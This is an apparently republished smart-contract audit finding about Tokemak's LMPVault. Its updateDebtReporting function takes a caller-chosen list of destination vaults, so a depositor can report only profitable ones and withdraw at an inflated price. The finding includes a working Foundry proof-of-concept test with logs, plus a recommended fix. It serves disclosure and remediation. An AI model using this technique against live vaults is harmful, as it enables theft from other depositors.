updateDebtReporting can be front run, putting all the loss on later withdrawals but taking the profit
The updateDebtReporting function accepts a user-supplied list of destination vaults, allowing an attacker to report only profitable vaults and ignore loss-making ones. The attacker can then withdraw at an inflated share price, leaving other depositors to bear the full loss.
Kalyan-Singh Follow with berndartmueller and lemonmon
Originally disclosed on Sherlock
Source: https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/531
Found by
Kalyan-Singh, berndartmueller, lemonmon
Summary
updateDebtReporting takes in a user input of destinations in array whose debt to report, so if a destination vault is incurring loss and is not on the front of withdrawalQueue than a attacker can just update debt for only the destination which are incurring a profit and withdraw in the same txn. He will exit the vault with profit, others who withdraw after the legit updateDebtReporting txn will suffer even more loss than they should have, as some part of the profit which was used to offset the loss was taken by the attacker and protocol fees
Vulnerability Detail
POC-
- LMPVault has 2000 in deposits 1000 from alice and 1000 from bob
- Vault has invested that in 1000 in DestinationVault1 & 1000 in DestinationVault2 (no idle for simple calculations)
- Now Dv1 gain a profit of 5%(+50 base asset) while Dv2 is in 10% loss(-100 base asset)
- So vault has net loss of 50. Now alice does a updateDebtReporting([Dv1]) and not including Dv2 in the input array.
- Now she withdraws her money, protocol now falsely believes there is a profit, it also take 20% profit fees(assumed) and mints 10 shares for itself and alice walks away with roughly 1020 assets, incurring no loss
- Now a legit updateDebtReporting txn comes and bob has to account in for the loss
Test for POC - Add it to LMPVaultMintingTests contract in LMPVault-Withdraw.t.sol file under path test/vault. run it via the command
forge test --match-path test/vault/LMPVault-Withdraw.t.sol --match-test test_AvoidTheLoss -vv
function test_AvoidTheLoss() public {
// for simplicity sake, i'll be assuming vault keeps nothing idle
// as it does not affect the attack vector in any ways
_accessController.grantRole(Roles.SOLVER_ROLE, address(this));
_accessController.grantRole(Roles.LMP_FEE_SETTER_ROLE, address(this));
address feeSink = vm.addr(555);
_lmpVault.setFeeSink(feeSink);
_lmpVault.setPerformanceFeeBps(2000); // 20%
address alice = address(789);
uint initialBalanceAlice = 1000;
// User is going to deposit 1000 asset
_asset.mint(address(this), 1000);
_asset.approve(address(_lmpVault), 1000);
uint shareBalUser = _lmpVault.deposit(1000, address(this));
_underlyerOne.mint(address(this),500);
_underlyerOne.approve(address(_lmpVault),500);
_lmpVault.rebalance(
address(_destVaultOne),
address(_underlyerOne),
500,
address(0),
address(_asset),
1000
);
_asset.mint(alice,initialBalanceAlice);
vm.startPrank(alice);
_asset.approve(address(_lmpVault),initialBalanceAlice);
uint shareBalAlice = _lmpVault.deposit(initialBalanceAlice,alice);
vm.stopPrank();
// rebalance to 2nd vault
_underlyerTwo.mint(address(this), 1000);
_underlyerTwo.approve(address(_lmpVault),1000);
_lmpVault.rebalance(
address(_destVaultTwo),
address(_underlyerTwo),
1000,
address(0),
address(_asset),
1000
);
// the second destVault incurs loss, 10%
_mockRootPrice(address(_underlyerTwo), 0.9 ether);
// the first vault incurs some profit, 5%
// so lmpVault is in netLoss of 50 baseAsset
_mockRootPrice(address(_underlyerOne), 2.1 ether);
// malicious updateDebtReporting by alice
address[] memory alteredDestinations = new address[](1);
alteredDestinations[0] = address(_destVaultOne);
vm.prank(alice);
_lmpVault.updateDebtReporting(alteredDestinations);
// alice withdraws first
vm.prank(alice);
_lmpVault.redeem(shareBalAlice , alice,alice);
uint finalBalanceAlice = _asset.balanceOf(alice);
emit log_named_uint("final Balance of alice ", finalBalanceAlice);
// protocol also collects its fees
// further wrecking the remaining LPs
emit log_named_uint("Fees shares give to feeSink ", _lmpVault.balanceOf(feeSink));
assertGt( finalBalanceAlice, initialBalanceAlice);
assertGt(_lmpVault.balanceOf(feeSink), 0);
// now updateDebtReporting again but for all DVs
_lmpVault.updateDebtReporting(_destinations);
emit log_named_uint("Remaining LPs can only get ",_lmpVault.maxWithdraw(address(this)));
emit log_named_uint("Protocol falsely earned(in base asset)", _lmpVault.maxWithdraw(feeSink));
emit log_named_uint("Vault totalAssets" , _lmpVault.totalAssets());
emit log_named_uint("Effective loss take by LPs", 1000 - _lmpVault.maxWithdraw(address(this)));
emit log_named_uint("Profit for Alice",_asset.balanceOf(alice) - initialBalanceAlice);
}
Logs: final Balance of alice : 1019 Fees shares give to feeSink : 10 Remaining LPs can only get : 920 Protocol falsely earned(in base asset): 9 Vault totalAssets: 930 Effective loss take by LPs: 80 Profit for Alice: 19
Impact
Theft of user funds. Submitting as high as attacker only needs to frontrun a updateDebtReporting txn with malicious input and withdraw his funds.
Code Snippet
function updateDebtReporting(address[] calldata _destinations) external nonReentrant trackNavOps { // @audit < user controlled input
_updateDebtReporting(_destinations);
}
Tool used
Manual Review
Recommendation
updateDebtReporting should not have any input param, should by default update for all added destination vaults
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the updateDebtReporting function allows an attacker to selectively update debt for only profitable destination vaults, omitting loss-making ones, which misrepresents the vault's total assets and enables withdrawal at an inflated share price.
Impact
An attacker can front-run a legitimate updateDebtReporting transaction to withdraw with a profit, causing other depositors to suffer a greater loss than they should.
What the attacker needed
Attacker has a deposit in the vault; attacker can front-run a transaction
The fix
The updateDebtReporting function should be changed to not accept any input parameter and instead update debt reporting for all destination vaults by default.
How it was found
- Alice deposits 1000 assets into the LMPVault.
- The vault invests in two destination vaults: one gains 5% profit, the other incurs 10% loss.
- Alice calls updateDebtReporting with only the profitable destination vault.
- Alice redeems her shares, receiving more than her initial deposit.
- A legitimate updateDebtReporting for all destinations occurs, and remaining LPs suffer a larger loss.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A vault pools money from many people and invests it in different places. Normally, the vault's total value is updated by checking all investments. Here, a user can choose to update only some investments, hiding losses. The attacker updates only the profitable ones, making the vault look more valuable than it is, then withdraws more money than they should, stealing from others.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.